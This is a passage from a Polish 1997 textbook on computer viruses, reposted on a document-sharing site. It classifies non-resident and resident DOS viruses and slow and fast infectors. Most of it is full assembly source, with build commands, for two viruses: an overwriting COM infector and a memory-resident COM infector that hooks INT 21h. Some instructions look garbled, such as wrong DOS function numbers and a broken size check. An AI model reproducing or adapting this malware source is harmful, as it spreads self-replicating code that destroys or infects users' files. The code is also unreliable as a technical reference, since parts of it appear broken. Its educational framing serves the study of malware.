CATEGORII DOCUMENTE |
Bulgara | Ceha slovaca | Croata | Engleza | Estona | Finlandeza | Franceza |
Germana | Italiana | Letona | Lituaniana | Maghiara | Olandeza | Poloneza |
Sarba | Slovena | Spaniola | Suedeza | Turca | Ucraineana |
DOCUMENTE SIMILARE |
|
Podział wirusów ze względu na sposób działania po uruchomieniu
3.1. Wirusy nierezydentne (ang. non-resident viruses)
Wirusy nierezydentne są najprostszą odmianą wirusów komputerowych zarażających pliki wykonywalne. Po uruchomieniu nosiciela poszukiwany jest, najczęściej przy pomocy funkcji (4E/4F/21), kolejny obiekt do zarażenia. W przypadku nie znalezienia żadnego kandydata, sterowanie oddawane jest do nosiciela w przeciwnym razie znaleziony plik jest infekowany. Ofiary poszukiwane są w bieżącym katalogu i/lub w katalogach określonych w zmiennej środowiskowej PATH, i/lub w podkatalogach bieżącego katalogu, i/lub w katalogu głównym. Z reguły wirus taki nie przejmuje żadnego przerwania (ewentualnie na czas infekcji przejmowane jest przerwanie programowe 24h, które jest odpowiedzialne za obsługę błędów krytycznych). Główną wadą wirusów nierezydentnych jest to, iż poszukiwanie ofiar przy starcie programu wiąże się najczęściej z dużym opóźnieniem w uruchomieniu właściwego programu oraz łatwo zauważalną przez użytkownika wzmożoną aktywnością przeszukiwanego nośnika. Drugim poważnym mankamentem jest to, iż zarażają one tylko i wyłącznie po uruchomieniu nosiciela, a więc nie mogą efektywnie infekować plików ani też skutecznie maskować swej obecności w7 systemie, tak jak czynią to wirusy rezydentne. Wirusy nierezydentne są najczęściej wypuszczane przez oszołomionych pierwszym sukcesem, początkujących twórców^ wirusów. O tym jak prosto napisać najprymitywniejszą wersję wirusa nierezydentnego, niech świadczy poniższa krótka sekwencja napisana w asemblerze. Po skompilowaniu otrzymujemy program, który po uruchomieniu szuka przy pomocy funkcji (4E/21) pierwszego pliku o rozszerzeniu COM w aktualnym katalogu i po ewentualnym jego znalezieniu przepisuje swój kod na początek ofiary. Wirus ten jest bardzo prymitywny w swym działaniu, gdyż nieodwracalnie niszczy zarażany przez siebie plik (jest to wirus
nadpisujący), a także nie posiada żadnej obsługi błędów (w przypadku nieznalezienia ofiary wirus 'zainfekuje' ekran). Jego wykrycie to kwestia bardzo krótkiego czasu (programy COM przestaną 'nagle' działać).
;
Czesc ksiazki : 'Nowoczesne techniki wirusowe i antywirusowe' ;
;
PRYMITYW v1.0, Autor : Adam Blaszczyk 1997 ;
;
Prymitywny wirus nierezydentny nadpisujacy, ;
atakujacy i niszczacy pierwszy znaleziony ;
w katalogu plik COM ;
; Kompilacja : ;
TASM PRYMITYW.ASM ;
TLINK /t PRYMITYW.OBJ ;
;
PRYMITYW SEGMENT
ASSUME CS: PRYMITYW, DS:PRYMITYW
ORG 100h
WirDlug = Offset (WirKoniec-WirStart)
; WirDlug okresla dlugosc calego kodu wirusa
WirStart:
mov cx,20h ; atrybut poszukiwanej pozycji katalogu (Archive)
mov dx,Offset PlikiCOM ; szukaj plikow *.COM
mov ah,4Fh ; funkcja DOS - szukaj pozycji w katalogu
int 21h ; wywolaj funkcje
mov ax,3D02h ; funkcja DOS - otworz plik do odczytu i zapisu
mov dx,9Fh ; nazwa znalezionego pliku w buforze DTA
; znajdujacym sie pod adresem CS:80h
int 21h ; wywolaj funkcje
xchg ax,bx ; przenies uchwyt pliku z AX do BX
mov cx,WirDlug ; podaj ile bajtow zapisac
mov dx,100h ; zapisuj spod adresu CS:100h
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje
ret ; rownoznaczne z wykonaniem Int 20h
PlikiCOM db '*.COM' ; maska dla poszukiwanych pozycji w katalogu
WirKoniec:
PRYMITYW ENDS
END WirStart
3.2. Wirusy rezydentne (ang. resident viruses)
Autorzy wirusów szybko zorientowali się, że działające tylko po uruchomieniu nosiciela wirusy nierezydentne mają dość ograniczone pole manewru, stąd też poszukiwali Jakiegoś mechanizmu, który pozwalałby na nieprzerwane monitorowanie systemu operacyjnego. Z pomocą przyszli im nieświadomie sami autorzy systemu DOS, implementując w typowo jednozadaniowym środowisku mechanizm sztucznej wielozadaniowości. Zasada działania wirusów rezyden-tnych polega bowiem na zainstalowaniu się w pamięci operacyjnej komputera i przejęciu odpowiednich odwołań do systemu w sposób podobny do tego, w jaki czynią to programy typu TSR (ang. Terminate but Stay Resident). W zasadzie typowy wirus rezydentny to program TSR, który po zainstalowaniu ukrywa swój kod przed programami przeglądającymi pamięć. Aktywny i jednocześnie ukryty w pamięci, ma o wiele szersze pole manewru niż wirusy nierezydentne. Monitorowanie odpowiednich funkcji DOS i BIOS pozwala mu bowiem przy każdej dowolnej próbie dostępu na infekcję plików lub sektorów. Możliwe staje się także zastosowanie techniki zaawansowanego ukrywania się w systemie (tzw. technika stealth, omówiona w dalszej części opracowania). Zawładnięcia systemem dokonuje się poprzez przejęcie odpowiednich przerwań sprzętowych i funkcji obsługiwanych przez ogólnie dostępne przerwania programowe.
Ze względu na szybkość mnożenia się wirusy rezydentne dzieła się na szybkie intektory i wolne infektory. Poniżej przedstawiono przykład prostego wirusa rezydentnego, infekującego pliki COM podczas ich uruchamiania.
;
Czesc ksiazki : 'Nowoczesne techniki wirusowe i antywirusowe' ;
;
KOMBAJN v1.0, Autor : Adam Blaszczyk 1997 ;
;
Prosty wirus rezydentny plikow COM ;
Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ;
Przejmuje przerwanie 21h ;
Przejmuje przerwanie 24h na czas infekcji ;
;
; Kompilacja : ;
TASM KOMBAJN.ASM ;
TLINK /t KOMBAJN.OB J ;
;
JUMPS
KOMBAJN SEGMENT
ASSUME CS:KOMBAJN, DS:KOMBAJN
ORG 100h
Haslo = 0BACAh ; do sprawdzenia, czy wirus jest
Odpowiedz = 0CABAh ; / juz zainstalowany w pamieci
NUL = 00h ;
LF = 0Ah ; - stale znakow
CR = 0Dh ; /
AtrReadOnly = 00000001b ;
AtrHidden = 00000010b ;
AtrSystem = 00000100b ; rozne stale atrybutow
AtrVolumeID = 00001000b ; / pozycji katalogu
AtrDirectory = 00010000b ; /
AtrArchive = 00100000b ; /
VRok = 1998 ; data opisujaca
VMiesiac = 13 ; - pliki juz zainfekowane
VDzien = 31 ; /
VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien
DlugoscWirusa = (Offset KoniecWirusa-Offset PoczatekWirusa)
DlugoscWPamieci = (DlugoscWirusa +31)/16
Start: ; poczatek wirusa
PoczatekWirusa: ; pomocnicza etykieta
Call Trik ; zapisz na stosie relatywny ofset
Trik:
pop si ; zdejmij ze stosu relatywny ofset
sub si,103h ; oblicz ofset do poczatku wirusa
mov ax,Haslo ; sprawdz, czy wirus jest
int 21h ; / juz w pamieci
cmp ax,Odpowiedz ; czy kopia wirusa odpowiedziala ?
jne InstalacjaWPamieci ; / NIE - zainstaluj
; TAK - wypisz komunikat
lea di,TeBylZainstalowany ; /
call DrukSI ; /
jmp PowrocDoNosiciela ; i powroc do nosiciela
InstalacjaWPamieci: ; poczatek instalacji
lea di,TeCopyRight ; wyswietl info o wirusie
Call DrukSI ; /
lea di,TeInstalacja ; zapytaj uzytkownika, czy chce
Call DrukSI ; zainstalowac wirusa w pamieci
Call Decyzja ; /
jc PowrocDoNosiciela ; / CF=1 - uzytkownik nie chce instalowac
mov ax,3521h ; funkcja DOS - wez adres INT 21
int 21h ; wywolaj funkcje
mov [si][Stare21Seg],es ; zachowaj adres (wirus bedzie go
mov [si][Stare21Ofs],bx ; / uzywal)
mov ax,ds ; przywroc ES
mov es,ax ; AX=ES=DS=CS=SS=PSP
dec ax ; AX=ES-1=MCB do aktualnego bloku
mov ds,ax ; DS=blok MCB
mov bx,word ptr ds:[0003h] ; wez dlugosc aktualnego bloku
sub bx,DlugoscWPamieci+1 ; zmniejsz go o dlugosc wirusa
mov ah,4Ah ; funkcja DOS - zmien rozmiar bloku pamieci
int 21h ; wywolaj funkcje
mov bx,DlugoscWPamieci ; podaj dlugosc wymaganego bloku pamieci
mov ah,48h ; funkcja DOS - przydzial bloku
int 21h ; wywolaj funkcje
jc PowrocDoNosiciela ; CF=1 - nie udalo sie przydzielic
mov es,ax ; ES=wskazuje na przydzielony blok
xor di,di ; ES:DI - dokad skopiwoac
cld ; zwiekszaj SI, DI w REP MOVSB
push si ; SI bedzie zmieniany, wiec zachowaj
add si,offset PoczatekWirusa ; dodaj ofset : skad kopiowac
mov cx,DlugoscWirusa ; cx=ile bajtow kopiowac
rep movs byte ptr es:[di], cs:[si] ; kopiuj z CS:SI do ES:DI, CX bajtow
pop si ; przywroc relatywny ofset
mov ax,es ; pobierz adres do MCB opisujacego
dec ax ; blok, w ktorym jest wirus
mov ds,ax ; DS=MCB wirusa
mov word ptr ds:[0001h],0008h ; ustaw MCB wirusa, jako systemowy
sub ax,0Fh ; DS=adres bloku-10h
mov ds,ax ; sztuczka, dzieki ktorej mozna
; / odwolywac sie do danych jak w
; / zwyklym programie COM (ORG 100h)
mov dx,Offset NoweInt21 ; DX=adres do nowej procedury INT 21h
mov ax,25FFh ; funkcja DOS - ustaw adres INT 21
int 21h ; wywolaj funkcje
push cs ; wyswietl komunikat o
pop ds ; instalacji w pamieci
lea di,TeZainstalowany ; i segment, w ktorym
Call DrukSI ; / rezyduje wirus
mov ax,es ; /
Call DrukHEX16 ; /
PowrocDoNosiciela: ;
push cs cs ; przywroc DS=ES=CS=PSP
pop ds es ; /
mov al,byte ptr [si][StareBajty] ; przywroc 3 poczatkowe bajty
mov ds:[100h],al ; programu pod adresem CS:100h
mov ax,word ptr [si][StareBajty+1] ; /
mov ds:[101h],ax ; /
mov ax,100h ; zachowaj na stosie slad do
push ax ; / adresu 100h
xor ax,ax ; dla bezpieczenstwa
xor bx,bx ; lepiej wyzerowac rejestry
xor cx,cx ; robocze
xor dx,dx ; /
xor si,si ; /
xor di,di ; /
ret ; powroc do nosiciela
PytanieOInstalacje: ; odpowiedz rezydujacego
xchg al,ah ; - wirusa na pytanie, czy jest
iret ; / w pamieci
NoweInt21:
cmp ax,4B00h ; czy funkcja DOS - uruchom program ?
je InfekcjaPliku ; TAK - sprobuj infekowac
cmp ax,Haslo ; czy pytanie wirusa o instalacje ?
je PytanieOInstalacje ; TAK - odpowiedz ze zainstalowany
jmp PowrotZInt21 ; idz do poprzedniego lancucha
; przerwan
InfekcjaPliku:
push es ds ax bx cx dx si di ; zachowaj zmieniane rejestry
mov cs:StaryDS, ds ; zachowaj adres do nazwy pliku
mov cs:StaryDX, dx ; /
mov ax,3524h ; pobierz stara i ustaw
Call StareInt21 ; nowa procedure obslugi
mov cs:Stare24Seg,es ; przerwania krytycznego
mov cs:Stare24Ofs,bx ; INT 24h w celu ochrony
; przed ewentulanymi bledami
push cs ; / (np; podczas proby zapisu
pop ds ; / na zabezpieczonej przed
lea dx,NoweInt24 ; / zapisem dyskietce, nie
mov ax,2524h ; / zostanie wywolany dialog
Call StareInt21 ; / ARIF)
mov ds,cs:StaryDS ; DS=wskazuje na nazwe pliku
mov dx,cs:StaryDX ; podaj nazwe pliku
mov ax,4300h ; funkcja DOS - czytaj atrybut
Call StareInt21 ; wywolaj stare przerwanie 21h
jc PrzywrocAtrybut ; gdy CF=1, to blad, wiec powrot
mov cs:Atrybut,cl ; wez stary atrybut
mov ax,4301h ; funkcja DOS - zapisz atrybut
mov cx,AtrArchive ; podaj nowy atrybut : Archive
Call StareInt21 ; wywolaj stare przerwanie 21h
jc PrzywrocAtrybut
mov ax,3D02h ; funkcja DOS - otworz plik
; do odczytu i zapisu
Call StareInt21 ; wywolaj stare przerwanie 21h
jc PrzywrocAtrybut ; gdy CF=1, to blad
xchg ax,bx ; przenies uchwyt pliku do BX
mov ax,5700h ; funkcja DOS - wpisz date, czas
Call StareInt21 ; wywolaj stare przerwanie 21h
mov cs:Czas,cx ; zachowaj czas pliku na pozniej
cmp dx,VZnacznik ; czy plik jest juz zainfekowany ?
je ZamknijPlik ; TAK - zamknij plik, powrot
push cs ; DS=CS=segment wirusa
pop ds ; /
mov cx,3 ; ilosc czytanych bajtow
lea dx,StareBajty ; podaj dokad czytac 3 bajty
mov ah,3Fh ; funkcja DOS - czytaj z pliku
Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad
mov ax,word ptr [StareBajty] ; wez dwa pierwsze bajty pliku
cmp ax,'MZ' ; i sprawdz, czy to nie EXE
je ZamknijPlik ; gdy 'MZ', to plik EXE, powrot
cmp ax,'ZM' ;
je ZamknijPlik ; gdy 'ZM', to plik EXE, powrot
xor cx,cx ; zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem konca pliku
mov ax,4202h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na koniec pliku
Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad
; DX=starsza czesc dlugosci pliku
or dx,dx ; czy plik krotszy niz 65536 ?
jnz ZamknijPlik ; nie - nie infekuj
cmp ax,64000 ; czy dlugosc <= 64000 ?
jmp ZamknijPlik ; nie - nie infekuj
cmp ax,3 ; czy dlugosc >= 3 ?
jb ZamknijPlik ; nie - nie infekuj
sub ax,3 ; odejmij dlugosc skoku E9 ?? ??
mov word ptr [Skok+1],ax ; zapisz do bufora rozkaz skoku
lea di,TeZnalazlemPlik ; zapytaj uzytkownika
Call Druk ; czy chce zainfekowac
; plik
mov di,cs:StaryDX ; (nazwa pliku jest
mov ds,cs:StaryDS ; wyswietlana)
Call Druk ;
; - (dzieki temu uzytkownik
push cs ; / ma pelna kontrole nad
pop ds ; / tym, co wirus infekuje)
lea di,TeInfekcja ; /
Call Druk ; /
Call Decyzja ; /
jc ZamknijPlik ; / gdy CF=1, uzytkownik nie pozwala
mov cx,DlugoscWirusa ; ilosc zapisywanych bajtow
mov dx,100h ; podaj skad zapisac wirusa
mov ah,30h ; funkcja DOS - zapisz do pliku
Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad
xor cx,cx ; zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem poczatku pliku
mov ax,4200h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na poczatek pliku
Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,3 ; ilosc zapisywanych bajtow
lea dx,Skok ; podaj skad zapisac rozkaz skoku
mov ah,30h ; funkcja DOS - zapisz do pliku
Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,Czas ; przywroc czas
mov dx,VZnacznik ; zaznacz w dacie infekcje pliku
mov ax,5701h ; funkcja DOS - wpisz date, czas
Call StareInt21 ; wywolaj stare przerwanie 21h
ZamknijPlik:
mov ah,3Eh ; funkcja DOS - zamknij plik
Call StareInt21 ; wywolaj stare przerwanie 21h
PrzywrocAtrybut:
mov cl,cs:Atrybut ; podaj stary atrybut
mov ch,0 ; CX=CL
mov dx,cs:StaryDX ; podaj nazwe pliku do zmiany
mov ds,cs:StaryDS ; w DS:DX
mov ax,4301h ; funkcja DOS - zmien atrybut
Call StareInt21 ; wywolaj stare przerwanie 21h
lds dx,dword ptr cs:Stare24Ofs ; przywroc stare przerwanie
mov ax,2524h ; - INT 24
Call StareInt21 ; /
pop di si dx cx bx ax ds es ; przywroc zmieniane rejestry
PowrotZInt21:
db 0EAh ; mnemonik rozkazu skoku JMP FAR
Stare21Ofs dw ? ; (z tych pol korzysta skok
Stare21Seg dw ? ; aby oddac sterowanie do poprzedniego
; elementu lancucha przerwan INT 21)
StareInt21:
pushf ; symuluj wywolanie przerwania
Call dword ptr cs:[Stare21Ofs] ; / wywolaj stare przerwanie
ret ; powroc z wywolania
DrukSI: ; procedura wyswietla tekst z
; CS:[DI+SI]
add di,si ; tekst w DI, dodaj SI
Druk: ; procedura wyswietla tekst z
; CS:[DI]
push ax di ; zachowaj zmieniane rejestry
DrukPetla:
mov al,[di] ; pobierz znak
or al,al ; czy koniec tekstu (znak=NUL) ?
jz DrukPowrot ; TAK - kocz pisanie
mov ah,0Eh ; funkcja BIOS - wyswietl znak
int 10h ; wywolaj funkcje
inc di ; zwieksz indeks (na nastepny znak)
jmp short DrukPetla ; idz po nastepny znak
DrukPowrot:
pop di ax ; przywroc zmieniane rejestry
ret ; powrot
DrukHEX16: ; drukuje liczbe heksalna z AX
push ax ; zachowaj AX (dokladniej AL)
mov al,ah ; najpierw starsza czesc
Call DrukHex8 ; wyswietl AH
pop ax ; przywroc AX (dokladniej AL)
; i wyswietl AL
DrukHex8: ; drukuje liczbe heksalna z AL
push ax ; zachowaj AX (dokladniej 4 bity AL)
shr al,1 ;
shr al,1 ; podziel AL przez 16,
shr al,1 ; / czyli wez 4 starsze bity AL
shr al,1 ; /
Call DrukHex4 ; i wydrukuj czesc liczby szesnastkowej
pop ax ; przywroc AX (dokladniej 4 bity AL)
and al,15 ; wez 4 mlodsze bity AL
; i wydrukuj czesc liczby szesnastkowej
DrukHex4:
cmp al,10 ; konwersja liczby binarnej
jb Cyfra09 ; na znak
add al,'A'-'0'-10 ; - 00..09, 0Ah..0Fh na
Cyfra09: ; / '0'..'9', 'A'..'F'
add al,'0' ; /
mov ah,0Eh ; funkcja BIOS - wyswietl znak
int 10h ; wywolaj funkcje
ret ; powrot
Decyzja: ; pobiera z klawiatury
mov ah,0h ; znak i sprawdza, czy jest
int 16h ; to litera 'T'lub 't'
and al,0DFh ; jezeli tak, ustawia CF=0
cmp al,'T' ; jezeli nie, ustawia CF=1
clc ; /
je DecyzjaTak ; /
stc ; /
DecyzjaTak: ; /
ret ; /
NoweInt24: ;
mov al,3 ; sygnalizuj CF=1, gdy dowolny blad
; nie wywoluj ARIF
iret ; powrot z przerwania
TeCopyRight db CR,LF,'KOMBAJN v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF,NUL
TeInstalacja db CR,LF,'_ Zainstalowac KOMBAJNA w pamieci operacyjnej (T/N) ?',NUL
TeBylZainstalowany db CR,LF,'_ KOMBAJN jest juz w pamieci !',NUL
TeZainstalowany db CR,LF,'_ KOMBAJN zostal zainstalowany w segmencie : ',NUL
TeZnalazlemPlik db CR,LF,'_ Znalazlem plik : '',NUL
TeInfekcja db ''',CR,LF,' Czy chcesz sprobowac zainfekowac go KOMBAJNEM (T/N) ?',NUL
StareBajty db 0CDh,20h,90h
Skok db 0E9h
KoniecWirusa:
all:
Skok2 dw ?
StaryDS dw ?
StaryDX dw ?
Atrybut db ?
Czas dw ?
Stare24Ofs dw ?
Stare24Seg dw ?
KOMBAJN ends
end start
3.2.1. Szybkie infektory (ang.fast infectors)
Szybkie infektory przejmują wszystkie możliwe funkcje systemu DOS, używane do obsługi plików i zarażają wszystko, co się da, w maksymalnie krótkim czasie, co powoduje, iż po okresie bardzo szybkiej ekspansji wirusa w danym systemie następuje jego pasywacja, gdyż wirus nie może znaleźć kolejnej ofiary do zarażenia. Często pierwszą czynnością wykonywaną przez wirusa jest zniszczenie w pamięci kodu zamazywalnej części interpretatora poleceń, co sprawia, że przy następnym wywołaniu jakiegokolwiek polecenia z poziomu DOS plik zawierający interpretator poleceń (czyli najczęściej COMMAND.COM) zostanie ponownie uruchomiony i w efekcie natychmiast zainfekowany.
Duża aktywność szybkiego infektora będzie na pewno łatwo zauważalna dla użytkownika - nawet tego, który słabo zna system. Użycie najlepszych nawet technik stealth (dość często stosowanych przez tego typu wirusy) także się nie sprawdzi, zwłaszcza gdy użytkownik wykonuje dużo operacji dyskowych.
3.2.2. Wolne infektory (ang. slow infectors)
Wirusy tego typu są bardziej wyrafinowane niż szybkie infektory. Ich głównym celem nie jest maksymalnie szybka ekspansja w systemie, lecz raczej jak najdłuższe przetrwanie. Wirusy te używają najczęściej wolnych, kilkustopniowych, zmiennych procedur szyfrujących i techniki stealth. Infekują najczęściej tylko takie obiekty, które modyfikuje lub tworzy użytkownik, a więc nawet w przypadku sygnalizowania jakiejś niebezpiecznej operacji przez ewentualny program antywirusowy użytkownik będzie przekonany, iż potwierdza wykonywane przez siebie czynności.
Są to wirusy bardzo trudne do wykrycia i usunięcia, nawet przez bardzo zaawansowane programy antywirusowe.
Politica de confidentialitate | Termeni si conditii de utilizare |
Vizualizari: 1207
Importanta:
Termeni si conditii de utilizare | Contact
© SCRIGROUP 2024 . All rights reserved